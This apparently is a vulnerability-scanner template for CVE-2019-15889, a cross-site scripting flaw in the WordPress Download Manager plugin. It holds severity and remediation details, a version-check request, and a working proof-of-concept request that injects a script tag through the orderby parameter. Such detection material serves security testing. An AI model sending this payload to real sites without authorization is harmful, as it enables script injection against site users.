| Title | WordPress Download Manager <2.9.94 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions. |
| Remediation | Update WordPress Download Manager plugin to version 2.9.94 or later to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.04269 |
| CVE ID | CVE-2019-15889 |
| CWE ID | CWE-79 |
| Tags | cve cve2019 packetstorm wordpress xss wp-plugin wpdownloadmanager vuln |
WordPress Download Manager plugin before 2.9.94 contains a cross-site scripting vulnerability via the category shortcode feature, as demonstrated by the orderby or search[publish_date] parameter.
GET /wp-content/plugins/download-manager/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Connection: close
Accept-Encoding: gzip
GET /wpdmpro/list-packages/?orderby=title%22%3E%3Cscript%3Ealert(1)%3C/script%3E&order=asc HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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